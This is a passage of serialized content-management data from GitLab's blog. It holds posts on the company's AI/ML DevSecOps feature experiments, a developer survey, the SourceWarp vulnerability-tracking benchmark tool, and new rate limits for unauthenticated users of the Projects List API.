Suggest A Test","en-us/blog/merge-request-suggest-a-test.yml","en-us/blog/merge-request-suggest-a-test",{"_path":10433,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10434,"content":10440,"config":10446,"_id":10448,"_type":16,"title":10449,"_source":17,"_file":10450,"_stem":10451,"_extension":20},"/en-us/blog/ai-ml-in-devsecops-series",{"title":10435,"description":10436,"ogTitle":10435,"ogDescription":10436,"noIndex":6,"ogImage":10437,"ogUrl":10438,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10438,"schema":10439},"AI/ML in DevSecOps Series","This blog series chronicles our journey to integrate AI/ML throughout the software development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682693/Blog/Hero%20Images/ai-ml-in-devsecops-blog-series.png","https://about.gitlab.com/blog/ai-ml-in-devsecops-series","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"AI/ML in DevSecOps Series\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab AI Assisted Group\"}],\n        \"datePublished\": \"2023-04-24\",\n      }",{"title":10435,"description":10436,"authors":10441,"heroImage":10437,"date":10443,"body":10444,"category":791,"tags":10445},[10442],"GitLab AI Assisted Group","2023-04-24","\n\nOur \"AI/ML in DevSecOps\" series tracks GitLab's journey to build and integrate AI/ML into our DevSecOps platform. Throughout the series, we’ll feature blogs from our product, engineering, and UX teams to showcase how we’re infusing AI/ML into GitLab. So be sure to bookmark this page and follow along.\n\nThis series details [many features introduced during our AI Fireside Chat](/blog/gitlab-ai-assisted-features/) on May 3, 2023.\n\nGet a [full overview of our AI-powered DevSecOps platform](https://about.gitlab.com/solutions/ai/). \n\n1. [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/)\nGitLab users already benefit from a step-function increase in productivity when they adopt our platform: streamlined collaboration, operational efficiencies, and massive acceleration in time to delivery. But by introducing machine learning (ML) and other artificial intelligence (AI) capabilities into the fabric of The DevSecOps Platform feature set, we aim to take those gains to a whole new level.\n\n2. [How AI-assisted code suggestions will advance DevSecOps](/blog/ai-assisted-code-suggestions/)\nAI-assisted code suggestions can substantially improve the programming experience by reducing errors and helping programmers write code faster, which will help reproduce the much higher production code quality.\n\n3. [ML experiment: Writing SQL is about to get a lot easier](/blog/ml-experiment-sql/)\nWith the recent advancements in AI and natural language processing, it's now possible for AI models to generate SQL code from simple English language queries. This means that even people without a deep understanding of SQL can generate complex queries to analyze their data. This technology not only improves accessibility but can also save valuable time and effort for data analysts.\n\n4. [ML experiment: Explain this source code](/blog/explain-this-code/)\nDeciphering the source code of a new software project can be a daunting or at least time-consuming task. The code may be poorly documented, or it may be written in a programming language that is unfamiliar to the developer. Even if the developer is familiar with the programming language, the code may be complex and difficult to understand. But what if developers had a helpful tool to figure out very quickly what code was doing? With recent advancements in AI models, it's now possible to have code explained in natural language.\n\n5. [ML experiment: Summarizing issue comments](/blog/summarize-issues/)\nLarge language models (LLMs) power generative AI solutions by using deep learning algorithms to analyze vast amounts of natural language data. These models are trained on massive datasets to develop an understanding of language patterns and context. Once trained, the models can generate new text that mimics human language. In a rapid prototype, our own Alexandru Croitor, Senior Backend Engineer, and Nicolas Dunlar, Senior Frontend Engineer for our Plan stage, leverage generative AI LLMs to power comment summarization within GitLab's issues.\n\n6. [ML experiment: Summarize merge request changes](/blog/merge-request-changes-summary-ai/)\nMerge requests are the central point of collaboration for code changes in GitLab. They often contain a variety of changes across many files and services within a project. Often, merge requests communicate the intent of the change as it relates to an issue being resolved, but they might not describe what was changed to achieve that. As review cycles progress, the current state of the merge request can become out of sync with the realities of the proposed changes and keeping people informed. We believe that we can leverage AI and large language models (LLMs) to help provide relevant summaries of a merge request and its proposed changes, so reviewers and authors can spend more time discussing changes and less time keeping descriptions updated.\n\n7. [ML experiment: Generate tests for code changes](/blog/merge-request-suggest-a-test/)\nProposing changes and new features via merge requests is great, but what about the tests? Sometimes, tests can be the hardest part of any code change you make. We are leveraging generative AI to enable developers to create tests for merge request changes helping reduce the laborious but important task of writing tests increasing test coverage. \n\n8. [ML experiment: Explain this vulnerability](/blog/explain-this-vulnerability/)\nSecurity vulnerabilities aren't always easy to understand, especially for developers without experience or training with cybersecurity. We're leveraging AI to help developers understand security vulnerabilities and even get guidence on how to resolve them.\n\n9. [ML experiment: Use a chatbot to answer how-to questions](/blog/gitlab-chat-ai/)\nLarge language models (LLMs) have changed the way everyday people interact with large volumes of text. We thought, why not train an LLM on GitLab's extensive documentation to help users quickly answer natural language questions. Gone are the days of endless searching through vast documentation sites.\n\n10. [Track ML model experiments with new GitLab MLFlow integration](/blog/track-machine-learning-model-experiments/)\nModel experiments allow data scientists to track different variations of machine learning models directly on GitLab.\n\n11. [Code Suggestions available to all GitLab tiers while in Beta](/blog/code-suggestions-for-all-during-beta/)\nWe've made code suggestions available to all plans for free during Beta. Also, learn about recent updates to Code Suggestions.\n\n12. [ML experiment: Summarize my merge request review](/blog/summarize-my-merge-request-review/) \nLearn how GitLab is experimenting with ML-powered merge request review summaries.\n\n13. [How Code Suggestions can supercharge developers' daily productivity](/blog/code-suggestions-improves-developer-productivity/)\nLearn how you can use GitLab Code Suggestions to accelerate your development.\n\n14. [ML experiment: Extending Code Suggestions to more development environments](/blog/extending-code-suggestions/)\nLearn how we're expanding Code Suggestions to support Visual Studio, \nJetBrains IDEs, Neovim, and other development environments.\n\n15. [Train and deploy AI models with GitLab and Google Vertex AI](/blog/training-and-deploying-ai-models-with-gitlab-and-vertex-ai/)\nA demonstration of GitLab's DevSecOps capabilities combined with Vertex AI's scalable ML platform, designed with the aim of rapid and secure AI deployments. \n\n16. [Self-managed support for Code Suggestions (Beta)](/blog/self-managed-support-for-code-suggestions/)\nOne of our most popular customer requests – self-managed support for Code Suggestsions (Beta) – is expected to ship soon in GitLab 16.1. Learn how it will work.\n\n17. [Meet GitLab Duo - The suite of AI capabilities powering your workflows](/blog/meet-gitlab-duo-the-suite-of-ai-capabilities/)\nLearn about GitLab Duo, an expanding toolbox of features integrated directly into the GitLab platform to assist DevSecOps teams.\n\n18. [GitLab for Visual Studio, including code suggestions, available in Beta](/blog/gitlab-visual-studio-extension/)\nGitLab for Visual Studio extension supports GitLab Duo code suggestions for both GitLab SaaS and GitLab self-managed.\n\n19. [Empower ModelOps and HPC workloads with GPU-enabled runners integrated with CI/CD](/blog/empowering-modelops-and-hpc-workloads-with-gpu-enabled-runners)\nLearn how to leverage our GitLab-hosted GPU-enabled runners for ModelOps and high-performance computing workloads.\n\n20. [GitLab Duo Code Suggestions for JetBrains and Neovim](/blog/gitlab-jetbrains-neovim-plugins/) GitLab plugins for JetBrains IDEs and Neovim are now available in Beta,\nbringing GitLab Duo Code Suggestions to more software development environments.\n\nWant to learn even more about AI/ML? Check out our [AI Assisted Group direction page](/direction/modelops/ai_assisted/) and more [AI/ML articles](/blog/tags.html#AI/ML).\n",[4103,695,754,790],{"slug":10447,"featured":6,"template":678},"ai-ml-in-devsecops-series","content:en-us:blog:ai-ml-in-devsecops-series.yml","Ai Ml In Devsecops Series","en-us/blog/ai-ml-in-devsecops-series.yml","en-us/blog/ai-ml-in-devsecops-series",{"_path":10453,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10454,"content":10459,"config":10464,"_id":10466,"_type":16,"title":10467,"_source":17,"_file":10468,"_stem":10469,"_extension":20},"/en-us/blog/gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops",{"title":10455,"description":10456,"ogTitle":10455,"ogDescription":10456,"noIndex":6,"ogImage":7670,"ogUrl":10457,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10457,"schema":10458},"GitLab survey highlights wins, challenges as orgs adopt DevSecOps","This year’s survey findings show that DevSecOps principles, together with a DevSecOps platform, help organizations ship more secure software, faster.","https://about.gitlab.com/blog/gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab survey highlights wins, challenges as orgs adopt DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2023-04-20\",\n      }",{"title":10455,"description":10456,"authors":10460,"heroImage":7670,"date":10461,"body":10462,"category":962,"tags":10463},[1524],"2023-04-20","\nSecurity is everyone’s responsibility. And when everyone works together and has access to the same tools, you don’t have to sacrifice performance, efficiency, or security. That's the message from the respondents of our recent survey of software developers, IT operations, and IT security professionals worldwide. Where there is unity among Development, Security, and Operations in the common goal of securing the software supply chain, there is success.\n\nOur first report from the survey, [Security Without Sacrifices](https://about.gitlab.com/developer-survey/previous/2023/), focuses on this throughline and illuminates where [DevSecOps](/topics/devsecops/) professionals feel positive about their efforts to secure the software development lifecycle and where they feel work still needs to be done. While the results are not surprising — they align with what I hear from customers every day — they reinforce GitLab’s belief that DevSecOps principles, coupled with a DevSecOps platform, help organizations ship more secure software, faster. \n\nFor instance, in last year’s report, a majority of development, security, and operations professionals said they felt individually responsible for security. This year, 53% of respondents said they are responsible for application security *as part of a larger team*. And 71% of security professionals said at least a quarter of all security vulnerabilities are being spotted by developers, up from 53% in 2022.\n\nWhat this tells us is that security is indeed making its way deep into the software development lifecycle and as more innovation is introduced into the daily workflow, including AI-assisted capabilities, the benefits are tangible.\n\nHere’s what the report findings suggest organizations should keep in mind so they can get the most out of DevSecOps.\n\n## AI is now inseparable from DevSecOps\nFor the past several years, we’ve seen AI become more and more established in software development workflows. In this year’s report, nearly two-thirds (65%) of developers said they are using AI in testing efforts or will be in the next three years. We also saw an uptick this year in the number of developers who are using AI to check code.\n\nAI represents a tectonic shift in the market that will have profound effects on how organizations deliver value to customers. To take full advantage of AI, it will be critical for organizations to apply AI-assisted workflows across the entire software development lifecycle and make them available to all personas — not just developers but everyone involved in the delivery of software value, from security and compliance teams to product development and marketing.\n\n## Security toolchain expansion is unsustainable\nThis year’s report showed that toolchain sprawl may be a bigger concern for security professionals than for the rest of the team; 57% of security respondents said they use six or more tools, compared to 48% of developers and 50% of operations professionals. We’re also seeing signs that security professionals are using _more_ tools than in past years. This is in line with what security practitioners tell me: They use different tools for each security function, including composition analysis, fuzzing, DAST, and dependency scanning.\n\nThe rise of DevOps and DevSecOps is making it easier for software development teams to consolidate tools, but the increased pressure around software supply chain security means this trend is not holding for security as it is for other roles. Security practitioners select the tools that get the job done and the tools they’re most comfortable with, but as security budgets tighten, that’s no longer going to be a sustainable strategy. We should expect to see a bigger push to consolidate security toolchains over the next several years.\n\n## Efficiency and security cannot be mutually exclusive\nThe first wave of budget tightening seems to be here already — 85% of the security professionals we surveyed told us they have the same or less budget this year than they did in 2022, and security professionals were also more likely than both developers and operations professionals to cite macroeconomic forces as a primary factor driving DevOps/DevSecOps to scale at their organizations. In this environment, organizations (and security teams) need to do more with less.\n\nFor many of the organizations I’ve talked to, tighter budgets mean more than just cutting costs. Organizations need to ensure they’re getting a swifter return on their DevSecOps investments. That return on investment could look like increased efficiency, translating into accelerated value delivery for customers, faster innovation, and more revenue. Or it could mean incorporating security and compliance tools earlier in the development lifecycle, reducing risk. Ideally, it’s all of the above. As organizations seek ways to stay ahead of the competition, security and efficiency are both non-negotiable.\n\n## A platform approach: The winning formula for DevSecOps\nHow can organizations foster collaboration, reduce toolchain friction, and boost efficiency without sacrificing security? A platform that puts DevSecOps methodologies into practice. This year’s respondents identified security and efficiency as the top two benefits of adopting a DevSecOps platform, ahead of automation, cost savings, and collaboration.\n\nA DevSecOps platform enables teams to collaborate in a single application, shortening cycle times, reducing risks, and accelerating everyone’s workflows. We see proof points in this year’s data: Security professionals who use a DevSecOps platform were significantly more likely than those who don’t use a platform to say developers catch more security vulnerabilities and had a higher opinion of their organization’s security efforts. \n\nIt has become important for organizations to foster collaboration and engagement to keep development, security, and operations teams happy. \n\n## Explore this year’s report\nRead the first report in our 2023 Global DevSecOps Report Series, [Security Without Sacrifices](https://about.gitlab.com/developer-survey/), and stay tuned for more reports on the data in the coming months.\n",[8570,943,674,790],{"slug":10465,"featured":6,"template":678},"gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops","content:en-us:blog:gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops.yml","Gitlab Survey Highlights Wins Challenges As Orgs Adopt Devsecops","en-us/blog/gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops.yml","en-us/blog/gitlab-survey-highlights-wins-challenges-as-orgs-adopt-devsecops",{"_path":10471,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10472,"content":10477,"config":10481,"_id":10483,"_type":16,"title":10484,"_source":17,"_file":10485,"_stem":10486,"_extension":20},"/en-us/blog/merge-request-changes-summary-ai",{"title":10473,"description":10474,"ogTitle":10473,"ogDescription":10474,"noIndex":6,"ogImage":8601,"ogUrl":10475,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10475,"schema":10476},"ML experiment: Summarize merge request changes","Learn how GitLab is experimenting with ML-powered merge request changes summarization in this sixth installment of our ongoing AI/ML in DevSecOps series.","https://about.gitlab.com/blog/merge-request-changes-summary-ai","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Summarize merge request changes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-04-20\",\n      }",{"title":10473,"description":10474,"authors":10478,"heroImage":8601,"date":10461,"body":10479,"category":791,"tags":10480},[9201],"\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i> \n\nMerge requests are the central point of collaboration for code changes in GitLab. They often contain a variety of changes across many files and services within a project. Often, merge requests communicate the intent of the change as it relates to an issue being resolved, but they might not describe what was changed to achieve that. As review cycles progress, the current state of the merge request can become out of sync with the realities of the proposed changes and keeping people informed. We believe that we can leverage AI and large language models (LLMs) to help provide relevant summaries of a merge request and its proposed changes, so reviewers and authors can spend more time discussing changes and less time keeping descriptions updated.\n\nIn a rapid prototype, [Kerri Miller](https://gitlab.com/kerrizor), Staff Backend Engineer for our [Code Review Group](/handbook/product/categories/#code-review-group), used AI to summarize the merge request changes directly within the [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/). She developed a `/summarize_diff` quick action to post a summary of changes into a comment:\n\n![Merge request summary via AI](https://about.gitlab.com/images/blogimages/merge-request-changes-summary-ai.gif){: .shadow}\n\n## Iterating on AI/ML features\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. We're starting with providing complete summaries of what changes a merge request makes, and are beginning to look at more targeted flows to enhance the review cycle experience. Current areas we're investigating include providing:\n\n- Summaries of what's changed between each review cycle in a merge request.\n- Summaries of review feedback to merge request authors.\n\nThis experiment is just the start of the ways we're looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[4103,695,754,790],{"slug":10482,"featured":6,"template":678},"merge-request-changes-summary-ai","content:en-us:blog:merge-request-changes-summary-ai.yml","Merge Request Changes Summary Ai","en-us/blog/merge-request-changes-summary-ai.yml","en-us/blog/merge-request-changes-summary-ai",{"_path":10488,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10489,"content":10495,"config":10501,"_id":10503,"_type":16,"title":10504,"_source":17,"_file":10505,"_stem":10506,"_extension":20},"/en-us/blog/data-driven-decision-making-with-sourcewarp",{"title":10490,"description":10491,"ogTitle":10490,"ogDescription":10491,"noIndex":6,"ogImage":10492,"ogUrl":10493,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10493,"schema":10494},"SourceWarp: Make data-driven, agile DevSecOps decisions","How the SourceWarp approach and tool help make informed, agile decisions for CI/CD tools and DevSecOps platforms at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682686/Blog/Hero%20Images/velocity2.png","https://about.gitlab.com/blog/data-driven-decision-making-with-sourcewarp","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SourceWarp: Make data-driven, agile DevSecOps decisions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Vulnerability Research Team\"}],\n        \"datePublished\": \"2023-04-13\",\n      }",{"title":10490,"description":10491,"authors":10496,"heroImage":10492,"date":10498,"body":10499,"category":734,"tags":10500},[10497],"GitLab Vulnerability Research Team","2023-04-13","\n\nAt GitLab, we use different strategies to make assessments about the stability\nor robustness of a feature by means of best practices such as staging\nenvironments, feature flags, or canary testing. We also use testing\nstrategies such as [A/B testing](/handbook/marketing/digital-experience/engineering-ab-tests/)\nto assess how users react to feature variants. \n\nHowever, our short release cycles require testing and benchmarking approaches that\nmake it possible to prototype, test, and benchmark ideas quickly (ideally while\ndeveloping them). We need an approach that works on large code\nbases, can help assess a feature **before** deployment to staging or\nproduction, and provides data to support data-driven decision making.\n\nTo address this need, we developed the SourceWarp tool: a record-and-replay framework\nfor source code management systems. In this blog post, we will explain our motivation\nfor creating SourceWarp and explain how we use it to inform data-driven decision making within the GitLab platform.\n\n## Motivation: Data-driven decision making in the DevSecOps context\n\n[DevSecOps](/topics/devsecops/) streamlines software development by allowing teams to ship features quickly\nand providing short feedback cycles for customers. These short feedback cycles can be used to monitor the impact of\na feature from the time it is shipped and inform developers and product\nmanagers about the success or failure of a given deployment.\n\nGitLab, as a heterogeneous DevSecOps platform, acts as an integration point for\ndifferent [CI/CD tools](https://docs.gitlab.com/ee/ci/) that often contribute\nto user-facing functionality. For example, the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/),\nwhich displays all detected vulnerabilities, is visible\nas a single functionality, but the data in the report may come from a\nnumber of different tools in various pipelines. The DevSecOps\nplatform collects and stores results in the backend database and keeps track of user actions on the\nfindings (through the UI or the API). A large portion of the automation in the platform\nis built around or initiated by code changes where the\nsource code management system or Git respoitory basically holds the input data. In\norder to test and benchmark new features for these systems effectively, the\ntesting and benchmarking approach needs to have some source code awareness.\n\nWe can use SourceWarp to achieve this. Let's dive in to a real-world example\nof how we used SourceWarp to help make an informed decision about a product integration.\n\n## Case study: Advanced vulnerability tracking\n\nAs a DevSecOps platform, GitLab provides automation\ncentered around code changes, where the source code is stored in a source code\nmanagement system. SourceWarp uses a Git repository as input, which we use to\nsource test-input data to test and benchmark our newly developed feature.\n\nIn a record phase, SourceWarp extracts commits from the source history that are\nrelevant with respect to a given test criterion and generates a patch replay\nsequence. In the monitor phase, SourceWarp replays the generated sequence on a\ntarget system. These phases are executed while continuously monitoring the\nDevSecOps platform to collect metrics and to generate a report that provides\nthe testing and benchmarking results.\n\nWe used SourceWarp to test and benchmark [advanced vulnerability tracking](https://docs.gitlab.com/ee/user/application_security/sast/#advanced-vulnerability-tracking),\nwhich identifies and deduplicates vulnerabilities in a changing code base. In our\nbenchmarking and testing experiment, we let SourceWarp automatically sample patch\nsequences from a slice of GitLab's source code repository history (2020-10-31\nand 2020-12-31) and replay them on two target systems: One system had advanced\nvulnerability tracking enabled, and the other one was using our old\nvulnerability tracking approach.\n\nAfter the application of every patch from the\npatch sequence, SourceWarp collected metrics from the target system that\nrecorded the observed vulnerabilities. We observed that our vulnerability\ntracking approach was 30% more effective than traditional\nvulnerability tracking where `\u003Cfile, line number>` are used to identify the\nlocation of a vulnerabilty. This means that advanced vulnerabiilty tracking\nreduces the manual effort of auditing vulnerabilities by 30%.\n\nIn addition, we\nobserved that with an increasing number of source code changes, the deduplication\neffectiveness of vulnerability tracking increases. Looking at the relatively\nshort timeframe from 2020-10-31 to 2020-12-31, the deduplication effectivness\nincreased from 11% to 30%, which suggests that the effectiveness increases over\ntime as the source code evolves.\n\nSourceWarp performed this experiment in an automated and reproducible way, and\nprovided data that was helpful in making an informed decision about the product\nintegration of vulnerability tracking. \n\n## Where to find more SourceWarp information\n\nThe SourceWarp approach is detailed in our research paper, \"[SourceWarp](/resources/downloads/research-paper-ast2023-sourcewarp.pdf): A scalable, SCM-driven testing and benchmarking approach to support data-driven and agile decision making for CI/CD tools and DevSecOps platforms,\" which will be presented at the 4th ACM/IEEE International Conference on Automation of Software Test ([AST 2023](https://conf.researchr.org/home/ast-2023)). \n\nThe [SourceWarp testing and benchmarking tool](https://gitlab.com/gitlab-org/vulnerability-research/foss/sourcewarp) is implemented in Ruby and is open source (MIT license).\nThe `README.md` provides information about the tool setup and implementation.\nYou can also see it in action in the demo below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/-9lk_Jhuq14\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## Useful Links\n\n- [Vulnerability Research Team](/handbook/engineering/development/sec/secure/vulnerability-research/)\n- [SourceWarp tool](https://gitlab.com/gitlab-org/vulnerability-research/foss/sourcewarp)\n- [Recorded Demo](https://www.youtube.com/watch?v=-9lk_Jhuq14)\n- [AST 2023](https://conf.researchr.org/home/ast-2023)\n- [Research Paper](/resources/downloads/research-paper-ast2023-sourcewarp.pdf)\n\nCover image by [Jason Corey](https://unsplash.com/@jason_corey_) on [Unsplash](https://unsplash.com/photos/AT5vuPoi8vc)\n{: .note}\n",[943,110,674],{"slug":10502,"featured":6,"template":678},"data-driven-decision-making-with-sourcewarp","content:en-us:blog:data-driven-decision-making-with-sourcewarp.yml","Data Driven Decision Making With Sourcewarp","en-us/blog/data-driven-decision-making-with-sourcewarp.yml","en-us/blog/data-driven-decision-making-with-sourcewarp",{"_path":10508,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10509,"content":10514,"config":10518,"_id":10520,"_type":16,"title":10521,"_source":17,"_file":10522,"_stem":10523,"_extension":20},"/en-us/blog/summarize-issues",{"title":10510,"description":10511,"ogTitle":10510,"ogDescription":10511,"noIndex":6,"ogImage":8601,"ogUrl":10512,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10512,"schema":10513},"ML experiment: Summarizing issue comments","Learn how GitLab is experimenting with ML-powered issue comment summarization in this fifth installment of our ongoing AI/ML in DevSecOps series.","https://about.gitlab.com/blog/summarize-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"ML experiment: Summarizing issue comments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"},{\"@type\":\"Person\",\"name\":\"Taylor McCaslin\"}],\n        \"datePublished\": \"2023-04-13\",\n      }",{"title":10510,"description":10511,"authors":10515,"heroImage":8601,"date":10498,"body":10516,"category":791,"tags":10517},[5555,6860],"\n\n\u003Ci>This blog post is part of an ongoing series about GitLab's journey to [build and integrate AI/ML into our DevSecOps platform](/blog/ai-ml-in-devsecops-series/). The series starts here: [What the ML is up with DevSecOps and AI?](/blog/what-the-ml-ai/). Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\n[GitLab issues](https://docs.gitlab.com/ee/user/project/issues/) are essential for team collaboration and serve as the source of truth for teams to align on the problem definition and scope of work for ongoing efforts. As teams collaborate on issues to refine them, the volume of comments grows. For issues with many comments, it can be challenging to understand the status of work at a glance. You may need to spend significant time reading comments to get an overview of the decisions made so far and to understand, for example, if there are any blockers. \n\nWith the recent advancements in AI and natural language processing, it's now possible for AI models to summarize text like that found in issue comments. We believe that this technology will help teams use their time more efficiently and help prevent losing track of important information within issue comments.\n\nLarge language models (LLMs) power generative AI solutions by using deep learning algorithms to analyze vast amounts of natural language data. These models are trained on massive datasets to develop an understanding of language patterns and context. Once trained, the models can generate new text that mimics human language.\n\nIn a rapid prototype, our own [Alexandru Croitor](https://gitlab.com/acroitor), Senior Backend Engineer, and [Nicolas Dunlar](https://gitlab.com/nicolasdular), Senior Frontend Engineer for our [Plan stage](/handbook/product/categories/#plan-stage), leverage generative AI LLMs to power comment summarization within [GitLab's issues](https://docs.gitlab.com/ee/user/project/issues/).\n\n![Prototype UX for comment summary](https://about.gitlab.com/images/blogimages/Issue_comment_summary_blog.gif){: .shadow}\n\nAbove, you can see an example of triggering the summarization of issue comments. Watch the full demo below. \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/GMr3eHwbYAI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nOur experiment takes an individual's natural language comments, inferences them against a generative AI LLM, and through novel prompt engineering (the task of guiding LLM output through instructions), creates a summary of long comment threads. Part of our engineering exploration is examining how to chunk extremely long comment threads into parsable bits an LLM can succinctly and accurately summarize. \n\n## Iterating on AI/ML features\nWhile just an experiment today, we are iterating on how to effectively bring features like this to our customers. We're starting with summarization of issue comments, and are working to optimize prompts to provide more meaningful summaries. We are also investigating bringing this functionality to other objects like epics and merge requests.\n\nThis experiment is just the start of many ways we’re looking to infuse GitLab with AI/ML capabilities to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI Assisted features. We’ll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our ongoing series, \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\".\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[4103,695,754,790],{"slug":10519,"featured":6,"template":678},"summarize-issues","content:en-us:blog:summarize-issues.yml","Summarize Issues","en-us/blog/summarize-issues.yml","en-us/blog/summarize-issues",{"_path":10525,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":10526,"content":10531,"config":10536,"_id":10538,"_type":16,"title":10539,"_source":17,"_file":10540,"_stem":10541,"_extension":20},"/en-us/blog/rate-limitation-for-unauthorized-users-projects-list-api",{"title":10527,"description":10528,"ogTitle":10527,"ogDescription":10528,"noIndex":6,"ogImage":9425,"ogUrl":10529,"ogSiteName":1180,"ogType":1181,"canonicalUrls":10529,"schema":10530},"Rate limitations for unauthorized users of the Projects List API","Learn details about upcoming changes for unauthenticated users of the Projects List API.","https://about.gitlab.com/blog/rate-limitation-for-unauthorized-users-projects-list-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Rate limitations for unauthorized users of the Projects List API\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Lohr\"}],\n        \"datePublished\": \"2023-04-10\",\n      }",{"title":10527,"description":10528,"authors":10532,"heroImage":9425,"date":10533,"body":10534,"category":299,"tags":10535},[830],"2023-04-10","\n\nStarting on May 22 for self-managed GitLab, and May 8 for GitLab.com, unauthenticated users will be subject to rate limitations when using the Projects List API. This change has been made to ensure the stability and reliability of our platform for all users.\n\n**Note:** Authorized users are not affected by this change.\n\n## What is the the Projects List API?\n\nThe Projects List API provides information about GitLab projects, including name, description, and other metadata. This API is widely used by our community, including researchers, developers, and integrators, to retrieve and analyze information about GitLab projects. We value this usage and aim to support it as much as possible.\n\n## Rate limitation details\n\nIn recent months, we have observed that the frequency and intensity of requests made by unauthenticated, also known as anonymous, users to the Projects List API have increased significantly. This has resulted in an increased load on our servers, which has impacted the performance and stability of our platform for all users. To address this issue, we have decided to introduce rate limitations for unauthenticated users.\n\nAs a consequence of this change, unauthenticated users of the Projects List API will be limited to 400 requests per 10 minutes per unique IP address on GitLab.com. If an unauthenticated user exceeds this limit, the user will receive a \"429 Too Many Requests\" response. On GitLab.com, this limit cannot be changed. Users of self-managed GitLab instances have the same rate limitation set by default, but [admins can change the rate limits](https://docs.gitlab.com/ee/administration/settings/rate_limit_on_projects_api.html#rate-limit-on-projects-api) as they see fit via the UI or the application settings API. They can also set the rate limit to zero, which acts as if there is no rate limitation at all.\n\nWe understand that this change may impact some of our users who rely on the Projects List API, and we apologize for any inconvenience this may cause. We encourage users who need to make more than 400 requests per 10 minutes to the Projects List API to [sign up for a GitLab account](/pricing/), which provides higher rate limits and other benefits, such as access to additional APIs and integrations.\n\nIf you have any questions or concerns about this change, please do not hesitate to [leave feedback in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/404611).\n",[695,754,736],{"slug":10537,"featured":6,"template":678},"rate-limitation-for-unauthorized-users-projects-list-api","content:en-us:blog:rate-limitation-for-unauthorized-users-projects-list-api.yml","Rate Limitation For Unauthorized Users Projects List 